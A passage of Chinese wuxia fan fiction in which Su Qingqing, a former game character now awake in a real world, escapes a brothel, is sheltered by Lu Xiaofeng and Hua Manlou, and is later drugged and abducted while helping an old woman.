拉开衣袖来看,疼痛的地方是一块块青紫的淤青,使劲按下去,能感觉到钻心疼痛。
当务之急是疗伤。
苏青青下意识想从背包里拿取金疮药,却拿了个空。
现实哪有什么背包?那些诡异的存在早已随着轮回的终结而消失!
那面板呢?
心念刚动,那熟悉的光幕便突兀地出现在眼前。
还在!
但光幕上原本显示的《九阴真经》、《越女剑法》等武学进度全都变成了:0(入门)。
这具身体又瘦又小,苏青青清醒了这会儿,已感觉全身逐渐发热,虽然是第一次有热的感觉,但她知道自己怕是发烧了。
赶紧疗伤!
苏青青盘膝而坐,运行起《九阴真经》的上乘功夫,可越是打坐,身上反而越是寒冷。
丹田之中不但没有内力出现,头脑也仿佛昏沉了起来。
“糟糕!”苏青青瞬间明白了。这具身体虚弱不堪,气血亏损严重,一点多余的气也没有,怎么能修炼呢?
更麻烦的是,她所会的《九阴真经》没能翻译至关重要的梵文总纲,无法调和阴阳,导致阴寒之气过盛。此刻强行修炼,更是雪上加霜。
她立刻停止运功,额头上已渗出细密的冷汗。
得想办法离开这里。
苏
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青青环顾四周,柴房里除了柴草别无他物。她下意识地尝试着去碰触那些柴火。
一根根柴火被她拿在手里又放下。
这就是真实世界吗?每一根柴火竟然都能互动!
她挑了一根周正的木头抱在怀里。
剑客不能没有剑!
她虽然达不到剑魔独孤前辈四十岁后不滞于物,草木竹石皆可为剑的境界。
但有根棍子总比赤手空拳强!
拿上武器后,苏青青向着房门走去,轻轻一推,房门纹丝不动,重重一推,只听得“哐当”一声闷响,门外传来铁链的晃动声,这才发现房门已经上锁了。
她又转向那扇透着月光的破窗。窗户倒是能推开一条缝,她用力一推…
“哗啦!”窗户被推开,大片月光倾泻而入,同时一张凶神恶煞的男人脸孔猛地探了过来,恶狠狠地瞪着她:
“老实点!”
窗户被粗暴地重新关上,发出巨大的“哐当”声。
苏青青不死心,又去推。
窗户刚开一条缝,那张凶脸立刻又出现:
“找死啊!老实点!”
窗户又被关的哐哐响。
苏青青皱紧了眉头。这感觉……像极了游戏里无法跳过的过场剧情?难道要等特定时间或触发条件?
她此时脑袋浑浑噩噩,根本想不到别的东西。
无奈之下,她抱着木棍,靠着柴草堆坐下。身体的极度疲惫和伤势带来的高热,让她感到一阵阵强烈的眩晕。一股难以抗拒的困意如潮水般涌来,眼皮重如千斤。
她抱着木棍,不知不觉竟昏睡了过去。黑暗中,只剩下她细弱而急促的呼吸声。
……
金鸡报晓,朝阳刺破房中的黑暗,苏青青从昏睡中醒来。
她现在只觉得全身的骨头酸痛难忍,脑袋更是疼得像要裂开,眼皮几乎睁不开,整个人浑浑噩噩。
苏青青强撑着坐起来,就听见腹中传来鼓声,那是饥饿感。
时间在自然流逝!苏青青敏锐地察觉到不同。在之前的轮回里,只有当林商行动了,世界才会随之变化。而现在,没有林商行,这个世界的时间也在向前推进!
门外传来女人的声音,虽然声音的主人明显已经老了,但声音还是刻意做出很娇柔的样子:“里面情况怎么样?”
接着是昨晚凶狠男人的声音:“后半夜就老实了,到现在也没动静,可能晕过去了。”
“再饿她一天也就差不多了,这么大小的丫头骨头硬不了。”接着外门外传来金属接触的声音,那是在开锁。
苏青青心中一凛,听这对话,外面一行人绝非善类!
她混沌的脑子艰难地运转着,求生的本能瞬间压倒了身体的虚弱和不适。
“不能坐以待毙!”她咬紧牙关,猛地站起身,抱着木棍,几步就冲到门边,屏息凝神,蓄势待发。
6. npc初见陆小凤
门打开的一瞬间,中年鸨母的身影刚刚呈现在苏青青眼前,苏青青蓄势已久的木棍已直冲她的面门而去,这是丐帮绝技打狗棒法中“棒打狗头”的招式。
岂料这鸨母反应极快,明明是快准狠的一下,她却腰身一拧,轻轻松松避了过去,同时右手已紧紧攥住了苏青青的木棍。
如果这是金庸世界,妓女当然是以弱女子居多,但这是古龙世界,一个能当鸨母的女人,自然不容小觑。
苏青青只感觉到一股大力袭来,她此刻身体虚弱,不能力敌,当即松开木棍,拧身向窗户扑去。
窗户“哗啦”一声被扑开,苏青青从窗户中扑出,在地上一个翻滚泄去力气,站起身来拔腿就跑。
窗外本身有守卫,但此时却被刚才门口的动静吸引,加之苏青青这一松一扑当机立断,行动迅速,一时之间竟然让她冲了出去。
老鸨随手扔掉手中木棍,抱着手臂走到门口,冷声吩咐护卫,“手脚麻利些,不要坏了皮相。”
看门的护卫听到吩咐立刻来捉。
苏青青冲出柴房四处打量,这是一个小院,四面高墙环绕,两侧月亮门洞此刻正有几名壮汉听到动静涌出。
现实世界的人好快的反应速度!
中年老鸨此时已经在冷笑。
这一切只在电光火石之间。
跟林商行待的时间久了,习惯了爬墙蹿树,危急关头,苏青青几乎没怎么思考,就冲向了院中的大树。
那是一棵郁郁葱葱的楸树,此时正是花开的最盛的时候。
虽然没有内力,但攀爬纵跃几乎已经成了苏青青的本能。
只是纵身一跃,便抱住树干,接着脚一蹬身一提,蹭蹭几下便爬到了高处。
站在高处往四周一打量,见对面楼上恰巧有人推开窗户,苏青青想也不想,仗着身体轻盈又往树梢走了几步,接着纵身扑过去。
……
陆小凤睡得并不好,临江楼的酒很好,姑娘也很美,他本可以安心的在房里睡到日上三年,可偏偏有人在楼下吵闹起来了。
他捏着酒杯推开窗户,斜倚着窗框往外看。
只见一个灰扑扑的身影向他飞来。
那身影背后是郁郁葱葱楸树,阳光从枝叶的间隙间洒下,点点金光在空中闪烁,映的这道身影也好像在发光。
电光火石之间,陆小凤单手一牵一引,瘦弱的身影混着甜甜的花香顿时接了满怀。
陆小凤低头往怀里去看,小女孩大概十四五岁的年纪,穿一身粗布衣服,不但衣服破旧不堪的,脸上也沾满污渍。
虽然她的面容几乎看不真切,但在被掩位的面容之下,她一双杏眼圆溜溜的,亮得惊人。
小女孩反应其快,还没站稳站稳,便已闪电般出售,双手直取他双手腕要穴,分明是一路极为精妙的小擒拿功夫。
这是苏青青发现自己被人制住,下意识攻击以求脱身。
陆小凤后退的速度更快,几乎是瞬间人已经来到桌边,他顺势将杯中残酒倒入喉中,笑道:“破窗而入,不思报恩反而伤人,实在是恶客。”
苏青青此时攻击失利,只能匆匆扶住窗台站定了,听见陆小凤的话,她意识到了自己的鲁莽,“抱歉,得罪了。”
她其实不太习惯说话,更何况她迷迷糊糊觉得这人说话有点怪。
话说完,她也没有等陆小凤回应,只是自顾自的飞快扫视了一圈屋内陈设,目光略过衣架时微微一顿,接着竟极其自然的拿起搭在架子上的红披风,然后不客气的裹在了自己身上。
她又顺手打开橱子看了一眼,见里面只有两床被褥,便没有理会。
她俨然又沉浸到玩家到处扫荡的习惯中去了。
苏青青此刻已经全然放松下来,一来是长久以来游戏的习惯让她觉得拉开距离之后剧情就不会继续,二来,她的脑子多少也烧的有些糊涂。
她来到桌前,径自拉开凳子坐了下去。
桌子上摆了一壶好酒,几盘精致的点心。
苏青青从酒壶里给自己倒了一杯酒,脏兮兮的手拿起点心放入自己口中。
点心放入嘴里的瞬间,苏青青满足的眯起眼睛。
点心下肚后,她毫不犹豫的端起酒杯灌下。
“咳!咳咳咳——!”辛辣的酒液滚入喉咙,呛得她剧烈咳嗽起来,脸瞬间涨得通红。
然而咳嗽停止后,她竟又好奇地、小心翼翼地抿了一小口。
一股暖流自喉间滑入腹中,有了充足准备,这种新奇而真实的刺激感,让她那双亮晶晶的眸子更添了几分神采。
她又咬了一口点心,就着那点酒意,细细品味起来。
陆小凤看得目瞪口呆,饶是他见多识广,也从未遇到过如此“自来熟”又古怪的姑娘。他忍不住好心提醒道:“病人实在不该喝酒。”
苏青青恍若未闻,完全沉醉在食物带来的前所未有的真实味觉盛宴中。
……
她本来设定中应该是一个礼貌的人,但是当她经历了多次程序化世界的轮回,她就不再能保持礼貌了。
就像后来她再也没有回应过“母亲”。
陆小凤尴尬的摸了摸自己的小胡子。
门外忽然传来一阵急促而沉重的脚步声,声音在门口停住,外面响起柔和的女声:“陆公子醒了没有?”
这是老鸨的声音。
苏青青吃东西的动作猛然僵住,她抬头,双眼紧紧的盯着陆小凤。
陆小凤看了她一眼,神色不变,只淡淡应了一声:“醒了。”
门外静默了片刻。随即,那鸨
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母的声音又响起,带着几分小心翼翼:“那……可曾见到一个……小丫头?”
“未曾。”陆小凤打断了她,语气平淡无波。
老鸨自然知道真相,但做他们这行的,最是体贴不过,客人说不知道,只要装作相信就好了。
过了几息,只听得那鸨母低低应了声“是”,脚步声便渐渐远去,显然不敢再行打扰。
苏青青紧张的精神缓缓放松下来。
她望向陆小凤,眼中带着一丝劫后余生的感激,轻声道:“多谢……陆公子。”
陆小凤看着小姑娘,一个看起来天真但招式精妙的小姑娘,她绝不可能是个普通人。
“哎,我生平最怕麻烦,为什么麻烦偏偏总要找上我。”陆小凤喃喃道,他看着苏青青,“你到底有什么目的。”
苏青青没有回答。
她已经倒了下去。
......
苏青青感觉自己被温暖而又柔软的被褥包裹着。
鼻间能嗅到一股极其清雅、混合着多种草木花卉的淡香。
远远的仿佛还能听见市井嘈杂的人声传来。
苏青青挣扎着睁开沉重的眼皮,眼前看到的是素雅的青纱帐幔。
她转了转头,发现窗边坐着一个俊秀的男人,他的手边摆着几盆盛开的花,神情很温和。
但他绝不是昏迷之前看到的陆公子。
此时是白天,阳光透过窗,泼洒进来。
房间不大,干净而又朴素。
一张桌子,几把椅子,一个放着几卷书的书架。
“你应该再多休息一会的。”他柔声道。
实际上苏青青没有发出什么声音,但他在第一时间就开口了,很显然,他是一个高手。
他一边说着,一边动作极其自然地起身,从桌子上倒了一杯茶水端过来
苏青青尝试着动了动身体。
身上的酸痛感虽没有消失,却已经减轻不少,头脑也已经清醒起来。
她挣扎着想坐起来,却感觉疼痛感一下子尖锐起来,她忍不住轻轻“嘶”了一声。
他体贴的扶起苏青青,将茶水递到她手边,温声道:“你已经昏迷了一日一夜,想来应该渴极了。”
他话音刚落,苏青青果然感觉自己的嗓子又干又疼。
“可是...”苏青青踌躇着,不知该怎么说。
“我知道你一定有很多问题,你可以慢慢问。”他笑了笑,态度温和。
苏青青还是迟疑,她的问题实在太多了,这里是哪里,她是怎么来到这里的......
“在下花满楼,是这里的主人,我的好朋友陆小凤托我照顾你。”
“你一定没有忘记他,因为他长着四条眉毛。”
苏青青愣住了。
7. 吐露心声
苏青青不认识叫陆小凤的姑娘,也没见过长四条眉毛的怪人,所以她选择了用忙碌遮掩自己的尴尬。
她伸出手,小心翼翼地接过了那杯茶水,水是温的,淡黄色的茶水散发着清新的茶香。她喝了一小口,茶水甘甜柔润,当茶水顺着喉咙丝滑的流下去后,唇齿之间还留着丝丝甜意。
花满楼安静的坐在床边,脸上带着温和的笑意。
也许他并不认为有人会记不住陆小凤。
苏青青默默的喝茶,一小口一小口的喝,生怕太快喝完了,只因她实在不知该如何开口。
陆小凤就在此时出现了,鲜红的身影毫无征兆的出现在窗边。
“你来了。”花满楼没有回头,却露出了深深的笑意。
“当然是我来了!”陆小凤极其自然的拉过一张凳子坐下,顺手拿起桌上的空杯,给自己倒了一杯茶。
苏青青更窘迫了,她认出了眼前的男人正是自己的恩人,也想起自己还不知道他的身份。
其实她昨天并没有认真观察他,此时苏青青才发现他的睫毛很长,眼睛亮晶晶的,嘴上的两撇胡子修剪的整整齐齐,无疑是个很讲究的体面人。
她觉得自己应该立刻从床上起来行礼道谢,但她又不敢动,因为床边正坐着花满楼。
她只能努力缩小自己的存在感,举着空空的杯子,假装自己正在喝茶。
陆小凤似乎并未在意她的窘迫,一杯茶饮尽,咂了咂嘴,摇着头叹气,“我来了,你竟没有准备好酒,难道是怕我把你的好酒喝光了?”
“我怕你太喜欢喝我的酒,便舍不得离开江南。回头再给我带回十个八个需要照顾的病人,我就要改行开医馆了。”
“那你岂非更该感谢我?”
“哦?”
“若个个都是她这样如花似玉的小姑娘,”陆小凤说着,目光终于转向了缩在床上的苏青青,还冲她眨了眨眼,“岂不是大大的福气?”
“她很漂亮?”
陆小凤摸着下巴,端详了苏青青片刻,点头道:“现在嘛……自然还谈不上漂亮。不过,”他话锋一转,语气带着几分笃定,“我保证,等她养好身子,长大一点,绝对是个有魅力的女人。”
他们这番旁若无人的对话,听得苏青青又尴尬,又疑惑。
这真实世界的人说话,怎么都如此古怪难懂?还有,这位花公子……他当真看不见吗?为何言语行动间,竟似比常人还要敏锐从容?
就在这时,陆小凤冲着苏青青眨了眨眼睛,“你好像还没告诉我们,你叫什么名字。”
苏青青放下了手中遮掩尴尬的水杯,在床上略略欠身。“苏青青,多谢陆公子昨日救命之恩。”
“可她们都说你叫小九。”陆小凤道,“如果你的身份不错,那你的右手无名指上应该有一块伤疤,那是你小时候烧火烫伤的。”
苏青青举起右手来看,果然有一小块烫伤,所以她很自然的承认了:“那我应该就叫小九。”
苏青青自然的态度让陆小凤愣住了。
花满楼的声音也添了几分同情,“你不记得之前的事情吗?”
“我记得,”苏青青发觉两人古怪,不明就里的回答,“当时陆公子救了我。”
“再之前呢?”花满楼追问。
苏青青一下子就愣住了,一股寒意自脊背窜上头顶。
她想起来了,苏青青是苏青青,这具身体是这具身体,苏青青并不知道这具身体的过去。
“我不记得了。”她低垂下眼眸,假装自己什么都不记得,她知道借尸还魂之类的故事,她还并不想成为异类。
“但你岂非还记得小擒拿手?”陆小凤道。
苏青青又是一愣,昏迷前和陆公子快如闪电的交手场景又一次浮现在眼前。
她原来已经在不知不觉间露出了破晓。
她的反应本身也是一种答案,陆小凤立刻拊掌大笑,“你果然没有失忆。”
陆小凤的笑让苏青青害怕起来,她紧紧攥着茶杯,不知该如何是好。
“不要怕,你说说你的故事,我们一定会帮你。”花满楼轻声安慰着。
苏青青犹豫不决。
“我敢保证,不论你曾经有过怎样的经历,只要在我这里,就绝不会有人伤害你。”
他的态度实在太温柔,太可亲,苏青青忍不住放松下来,但她还是忍不住又问了一句,“真的?你们不会害怕?”
“当然!”两个人异口同声。
“我真的叫苏青青,我刚来不久,我的意思是,我刚从这个身体里醒来。”苏青青坦诚。
陆小凤和花满楼本准备听一个天大的阴谋,却听到了一句疯话。
“是神明送我来的。”她指着面前因为她的心念一动而出现的面板,“你们能看见吗,祂在这里。”
陆小凤和花满楼当然看不见!
花满楼转而问道,“那你来这里要干什么?”
他的声音温柔极了,让人忍不住信赖。
“要自由自在的生活,当然,也要去救人。”
“救人?”
“对,姑苏慕容博正在酝酿一个惊天阴谋,他假意向中原武林传递信息,编造辽国武士会偷袭少林寺夺取武功秘籍的谎言,要组织中原高手伏击萧远山一家。”
“哦?他为何要这么做?”花满楼追问。
他已经从苏青青的话中听出了不对,但仍不动声色。
“因为慕容博是鲜卑族慕容氏的后裔,
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他意图挑起宋辽两国大战,趁机兴复大燕。”
“我知道了!”陆小凤突然大声说道,“她如果不是一个小骗子,就一定是一个小疯子!”
“还有可能是天意。”花满楼接着道。
陆小凤蹦了起来,“你相信她?”
花满楼只是微笑。
苏青青看了陆小凤一眼,又去看花满楼,她已经意识到,陆公子绝不相信自己说的话,那花公子他……
“你说到了姑苏慕容博,你知不知道他住在哪里?”花满楼问。
“你知道慕容博?”苏青青激动起来了,“他住在姑苏城西三十里处的燕子坞参合庄。”
陆小凤这时候突然看了花满楼一眼,他知道,花家的地产是最多的,如果真的有燕子坞参合庄,那花家肯定知道。
花满楼笑了笑,继续问,“你说他要向中原武林传递消息,他把消息告诉了谁呢?”
“少林寺方丈玄慈,丐帮帮主汪剑通。”苏青青笃定。
陆小凤几乎忍不住要笑了,他快速站起身,“我去给她拿药!”话音未落,他已经从房间里消失了。
花满楼越问越觉得苏青青的回答逻辑缜密,他很愿意理解别人,也很容易同情别人,所以他继续问了下去。
“你说你是来救萧远山的,萧姓是辽国后族姓氏,他的身份恐怕不低。”
“对,他是大辽珊军总教头。”
“但你恐怕忘记了,哪怕救了他们一家,隔阂已经形成,辽国依然可以借此事兴师问罪。”花满楼明知宋辽之事已经过去三百多年了,仍是很体贴的分析。
“其实重要的是萧远山的儿子……”未经世事的苏青青仿佛被催眠师蛊惑,认真的向花满楼讲述了乔峰的悲惨命运。
花满楼凝神倾听。
苏青青从乔峰被收养、成长为丐帮帮主,讲到身世揭露、众叛亲离,再到最后的塞上牛羊空许约、自戕于雁门关外……
陆小凤不知何时已坐回凳子上,手里并未拿着药,显然“取药”不过是个借口。
他那双亮晶晶的眼睛紧紧锁在苏青青脸上,越听,眉头皱得越紧。
苏青青终于讲完,带着一种倾吐后的放松与释然,看向花满楼:“所以,我必须阻止这一切!必须救下萧远山一家,改变乔峰的命运!”
房间里一时静得只剩下窗外传来的人声。
花满楼沉默片刻,脸上温和的笑意淡了些。
“苏姑娘,”他缓缓道,“你所说的这些名字与故事,的确环环相扣,自成一体。”
苏青青眼中燃起希望:“花公子,你信我了?”
“我相信,”花满楼仿佛在斟酌词句。“我相信你所说的一切,一定是你心中的真实想法。
8. 陆花留客
黄昏,夕阳的余光越过窗户,洒落在桌子上。
桌子旁坐了两个人,苏青青和花满楼。
苏青青此时已经梳洗打扮,焕然一新,
她穿了一身青色的衣裳,头发用发带全都绑在脑后,整个人看起来苍白而单薄。
她此刻刚喝完药,干净的药碗放在桌子上,正在慢慢感受着嘴里无处不在的苦味。
花满楼神情自若的倒了一杯水,体贴的端到苏青青面前。
“多谢花公子!”苏青青接过茶杯,几口水下肚,苦味果然消了很多。
“咕咚。”
吞咽声从床上传来,是陆小凤。
他正躺在床上,酒杯在他嘴边倾斜着,这声音显然是吞咽酒水的声音。
接着只见他微微一吐气,酒杯便稳稳的立在了他的胸膛上。
哪怕这幅场景已经重复了几次,苏青青仍旧震惊无比,陆公子对内力的操控简直登峰造极。
这时,陆小凤突然伸出手指,轻轻指了指杯子,苏青青立刻站起身来,提着酒壶走到他身旁,又为他斟满了酒。
苏青青对他的行为不理解,但尊重。
按理说没有占病人床榻饮酒的道理,但既然他们的言行都很诡异,也许现实世界就该是这个样子。
苏青青回到桌旁,为花满楼续满杯,放下酒壶后,突然向着陆小凤和花满楼道,“陆公子、花公子,叨扰甚久,我该告辞了。
花满楼正拿起酒杯,闻言微微一顿,温声道:“你身体尚未恢复,应当多修养几日。”
“承蒙二位公子相救,萍水相逢却得此厚恩,已是过意不去,万不敢再行叨扰。”苏青青话毕,只是低垂眼帘,不再与两人对视。
“你大可放心,”陆小凤的声音从床上传来,“如果你愿意,甚至可以把这里当自己家。”
花满楼微笑听着,等陆小凤说完,他才颔首,“只要你愿意,便可以一直住在这里。”
“但雁门关一事……”苏青青犹豫起来。
“江南花家富甲天下,以花家的势力,雁门关若有异动,你一定会在第一时间知道。”见他犹豫不决,陆小凤又接着说,“如果你觉得自己住的不安心,可以帮花满楼做做饭,毕竟如果没人帮他,他恐怕会一直吃素。”
“那……好吧。”苏青青应了一声,已决心等身体恢复再启程。
见她答应,陆小凤从怀里随手一拿,便取出一叠银票,他随手捏出一张,看似随意的往苏青青处扔来。
柔软的银票极速来到苏青青面前,没等苏青青反应过来便卸了力气,轻飘飘落下,苏青青伸手接住,认真注视手中的银票。
5000!
苏青青连呼吸都凝滞了,她从未得到这么多钱!
“天是不是已经黑了?”花满楼的声音从耳边传来。
违和感再次浮上心头,“是,”苏青青小心翼翼的将视线转向花满楼的眼睛,“你…”
“我是个瞎子,”花满楼语气平静,像是在说一件平常事,“既然天已经黑了,姑娘也该休息了。”
苏青青突然发现那双眼睛明明很漂亮,却没有焦点。
“好的。”苏青青眼中的花满楼一下子变的柔弱而又易碎,她听话的站起来,眼神却转向陆小凤。
陆小凤躺的是她的床,她只是下床收拾了一下,吃了几口饭,他就已经躺了下去。
陆小凤也看向她,他从苏青青眼中看出了催促。
这对陆小凤来说,是一种新奇的体验。
所以他平静的转回头去,闭眼假寐。
“这间楼有很多客房,每一间你都可以随便住。”花满楼仿佛感受到了空气中的凝滞,温声开口。
……
苏青青已经离开了。
但花满楼的神情却突然变得古怪起来,他突然问“你听见了吗?”
“听见了。”
“她要找什么?”
“我不知道。”
两个人沉默下来。
过了很久,花满楼突然笑着调侃陆小凤:“你好像也已不太受欢迎。”
陆小凤苦笑,“彼此彼此。”
花满楼问道,“她是不是真的小九?”
“不知道。”
“我摸过,她绝对没有化妆,也没有戴人皮面具。”花满楼笃定。
“不错。”陆小凤赞同,花满楼的手指是他绝对信任的。
“听说世上有一种神功,可以控制自己的每一块骨骼和每一块肌肉。”花满楼说着又摇了摇头,“可她甚至连一丝内力也没有。”
陆小凤道:“也许她本就和小九长的一模一样。”
“也许。”花满楼赞同。
陆小凤道:“她如此大费周章的接近我,一定有问题。”
“也许。”花满楼赞同。
“她是不是背负了很深的仇恨,却不知该如何开口?”
“很可能。”
“但现在她什么也不肯说,她不说,我们根本什么都猜不到。”
“她说了,”花满楼提醒,“有没有可能,她真的疯了?”
“你莫要忘记,真正的小九一点儿武功都不会。”疯了之后当然不会懂得比疯之前还多。
“也许她说的是真的。”花满楼道。
陆小凤很惊讶,“你
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真的相信?”
花满楼微笑。
“你笑是什么意思?”
“是高兴的意思。”
“你为什么高兴,你难道已知道她的来历?”
“我知道你要把她放在我这里。”
“不错,她现在什么也不肯说,她不说,我们根本什么都猜不到,更不知道她是敌是友,只有把她放在你这里我才安心。”
花满楼点头。
“当然,我也怕你一个人待久了会感到无聊。”
……
苏青青离开了房间,一出门就闻到了比之前更浓的花香,晚风拂过柔软的花瓣后轻柔的吹在人脸上。
苏青青突然感到十分幸福,原来这就是现实,可以闻到各种各样的气味。
花朵是香的,药是苦的。
想到这里,她又对花满楼充满了同情。她之前闻不到气味已经觉得世界很没意思,花满楼却连看都看不到。
真可怜!
苏青青决心投桃报李,在离开小楼前认真照顾花满楼。
苏青青压根也不知道,花满楼不愿别人把他当作瞎子处处照顾。
随手推开隔壁的房门,里面的陈设几乎和刚才的房间一模一样,苏青青几乎是下意识的打开橱柜,空荡荡的隔层连灰尘都不存在,苏青青立刻又关上了柜门。
等她回过神时,她已经自然而然的离开房门,于是第二间,第三间……直到她打开了尽头的雕花木门。
苏青青的脚步不由自主的慢了下来。这间房仿佛带有某种无形的魔力,让人感受到一种奇异的宁静。
几只不知名的雀儿正啄食窗台小碟里的谷粒,见人来也不惊飞,只歪头瞅了她一眼,又继续忙碌。
这不是一间华丽的房屋,但绝对没有人会不喜欢它。
苏青青的视线略过桌椅、琴案、书案、径直走向墙边,墙上此时正悬挂着一柄长剑,她自然而然伸手握住剑柄。
在武侠类游戏中,能捡到武器本来就是一件很寻常的事。
苏青青翻手将佩剑收入(背包)……
在发现佩剑没有被收入背包的第一时间,苏青青有些疑惑,但是紧接着她就意识到,这是现实!
遥远的记忆忽然苏醒,苏青青想起,最初的时候她明明认为去别人家拿东西是不好的行为。
可是如今的她却已经习惯了。
她又已经想起和陆小凤的初见。
不告而取是为偷。
她急急将武器挂回墙上,急退几步,几乎是跌出了房门。
她的脚步越来越快,几乎飞速推开一间客房,一头扎进棉被里,再也不肯抬头。
9. 乐于助人
天刚蒙蒙亮,苏青青就从床上爬了起来,走到门口时,忍不住回头看了一眼。
房间好像有一点不对劲,她来回扫视了几圈,发现床上的被褥并没有恢复到无人居住的模样,她从门口退回床边,轻轻伸出手指点了点被面。
被子被戳进去一个小小的坑洞,却完全没有恢复原样的意思。
看来现实世界也有不方便的地方,苏青青若有所思。
她试着整理,但但无论如何摆弄,总觉得叠好的被子比之前凭空多出许多棱角和褶皱。
她皱眉思索着,不过片刻,她忽地抱起整团被褥,转身打开橱柜,一股脑儿塞了进去。
再次审视一遍客房,苏青青满意的点点头,转身走出了房门。
外面已经有叫卖声传来,但小楼里还是安静的,苏青青踏着轻松而又愉悦的步伐走向楼梯,迈出了小楼的大门。
与此同时,她注意的小楼的大门是敞开的,为了安全,她体贴的为花满楼关上了大门。
清晨的喧嚣扑面而来。街道上充斥着早点的香气、牲畜的膻气和泥土的腥气。苏青青循着吆喝声,走到一个挤在街角的菜摊前。
青菜鲜嫩,叶尖还挂着剔透的露珠。她蹲下身细细挑选,指尖拂过带着绒毛的叶片,微凉的露水让她更加愉悦。
但她发现完全无虫洞的叶子实在难寻,有时候她甚至能在虫洞旁边看到正在大快朵颐的青虫。
卖菜的老汉摇着破旧的草帽扇风,古铜色的脸上刻着风霜,笑呵呵地看着她挑拣,丝毫不急着催促。
苏青青挑了一大把青菜后,仰着头问老汉,“老伯,这些菜要多少钱?”
老人眯眼看了看:“两文钱便好。”
苏青青点头,掏出银票递过去。
“哎呀,”老汉连连摆手,脸上露出无奈的笑,“姑娘莫开玩笑,老汉这点小营生,只收得动铜板。”
“这钱不能用?”苏青青疑惑,她从未见过钱不能用的情况,不就是余额一减的事吗?
“能用!得去钱庄兑成现银铜钱才行。”
“钱庄在哪?”
“顺这条路往东走,留意北边的铺面,不远就能瞧见。”
“多谢老伯。”苏青青放下青菜,认命的起身向东行去。
刚过第一个路口,喧哗声陡然增大。只见前方巷口黑压压围了一圈人,指指点点,议论纷纷。
苏青青好奇心起,也忍不住凑上前去。
人群中央,一位白发稀疏的老妪蜷缩在地上,只见她布满皱纹的脸上汗珠密布,胸膛剧烈起伏,每一次吸气都伴随着短促尖锐的“嗬嗬”声,仿佛下一秒就要窒息。
一个破旧的竹篮翻倒在她身侧,几棵沾了污泥的青菜和几枚破碎的蛋壳散落一地,蛋液黄白相间,缓缓洇开。
“造孽哟!你奶奶都这样了,还不快背去回春堂?等死吗!”一个挎着菜篮的大婶对着旁边一个十四五岁的小伙子急声催促。
“啊?”小伙子眼神躲闪,连连后退,“我……我背不动啊!她……她沉得很!”
“放屁!”旁边一个精壮的挑夫看不下去了,指着地上的老妪,“你奶奶瘦得只剩一把骨头,还没我半担柴重!你这后生看着结实,怎会背不动?怕不是想躲懒!”
“我……我真不行!我腿软!我……我回家叫我娘来!”小伙子说着就要往人群外钻。
那挑夫一把攥住他的胳膊:“哎!你这当孙子的,心肠也忒狠……”
小伙子猛地一挣,脸涨得通红,带着哭腔喊道:“你能耐你背啊!我又没说不理!我这就去叫我爹娘来管!”他用力甩脱挑夫的手,像受惊的兔子般挤出人群,转眼不见了踪影。
人群发出一阵不满的嘘声和叹息。
望着小伙子消失的方向,短暂的静默后,一个声音从人堆里冒了出来:“那挑柴的大哥,你力气足,要不……你行行好,帮帮忙,把老太太背到回春堂去?”
挑夫浓眉一竖,铜铃似的眼睛狠狠瞪向声音来源处,粗声吼道:“哪个龟孙在放屁?给老子滚出来!老子送去医馆?谁给老子付那诊金药钱?!你出吗?!”
这一嗓子像冷水泼进了热油锅。人群瞬间噤了声,连刚才那点不满的骚动都消失了。
众人你看看我,我看看你,眼神躲闪,脚步悄悄往后挪。
那孙子一走,地上这气息奄奄的老婆子,立时成了块谁也不敢沾手的烫手山芋。
留在这里吧,眼睁睁看她咽气,于心难安;送去医馆?白花花的银子谁掏?谁家也没那余钱做这冤大头!
空气凝滞了,只剩下老妪越来越微弱的、痛苦的“嗬嗬”声,在湿冷的晨雾中格外刺耳。
苏青青看着地上老妪痛苦挣扎的模样,一股血气直冲头顶,她再顾不得许多,拨开身前的人就冲了进去。
“我来背!”她的声音清脆,带着不容置疑的坚定。
“唰!”所有的目光瞬间聚焦在这个突然出现的、衣着干净甚至有些讲究的陌生姑娘身上。
苏青青毫不理会,快步走到老妪身边,利落地蹲下,将略显宽大的袖子挽了挽,“劳烦各位搭把手,扶老人家到我背上。”
众人七手八脚,小心翼翼地将老妪扶上苏青青的背。
苏青青深吸一口气,稳
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稳站起。
老人果然轻得吓人,像背着一捆干柴,只是有些硌人,以苏青青现在的身子骨也能背的起来。
“好姑娘!”
“真是菩萨心肠!”
“我就说这老婆子绝对重不了,嘿,这孙子。”
“当心点走啊!”
周围响起一片由衷的赞叹,其中掺杂对小伙子的不满。
苏青青被夸得脸颊发烫,只想赶紧离开这聚焦的目光。
“医馆在哪儿?”她急问。
那“不孝”的孙子此时竟又从人群后冒了出来,脸上带着一丝急切,急忙道:“在隔壁街!很近!我……我带路!”说完便转身钻进旁边一条小巷。
苏青青快步跟上。
“小姑娘……谢谢你啊……”背上传来老人虚弱而感激的声音,带着急促的喘息,“看你……这衣裳……是大户人家的小姐吧?”
“哪能啊,婆婆,我就是个普通丫头。”苏青青调整了下姿势,尽量让老人趴得更稳些。
“哦……这么早出来……做什么呢?”
“想买点菜做饭。”苏青青喘着气回答,额角沁出了细密的汗珠。
“真是……勤快姑娘……哎,累着你了……”老妪哆哆嗦嗦地从袖中摸出一块陈旧的帕子,颤巍巍地伸向苏青青的额角,似乎想替她擦拭并不存在的汗水。
就在帕子拂过鼻尖的刹那,一股奇异的、极其微弱的甜香钻入苏青青的鼻腔。
好香啊,苏青青忍不住又吸了口气。
一股强烈的眩晕感瞬间如潮水般瞬间淹没了她!眼前的一切扭曲模糊起来……
……
小楼内,早饭已备好。花满楼独自生活惯了,一切井井有条,甚至炉上的药罐也正咕嘟作响,散发着苦涩的清香。
小楼的大门已经敞开,欢迎着每一个客人。
但陆小凤却是从窗外回来的,
也许他昨晚又犯了那个“睡觉时身边不能没有女人”的老毛病。
他毫不客气地坐下,拿起筷子。花满楼却端坐不动,眉宇间仿佛还带着担忧。
陆小凤筷子一顿:“她人呢?”
“不在。”
“何时走的?”
“约莫一个时辰前。”
“没跟你打招呼?”
“没有。”
“或许这小骗子已经溜了。”陆小凤语气带着惯常的调侃。
花满楼沉默片刻,声音低沉:“我有些……担心。”
“好吧!”陆小凤放下筷子,站起身,脸上那点玩世不恭也淡去了,“看来这早饭,是吃不踏实了。”
10. 被绑架中1
天色已经大亮,街上人头攒动,已经到了一天中最热闹的日子。
陆小凤走出小楼,伸了个长长的懒腰,鲜红的披风在朝阳下格外醒目。
他往四周随便一打量,就径直走向对面。
那是个脂粉摊,摊上摆着各色绢花、胭脂盒,正是少女们喜爱的物事,这种小摊的老板最能留意年轻姑娘的动向。
“老板,”陆小凤走到摊前,比划着胸口高度,“可曾见这么高个姑娘从楼里出来?瘦瘦的,约莫十五六岁。”
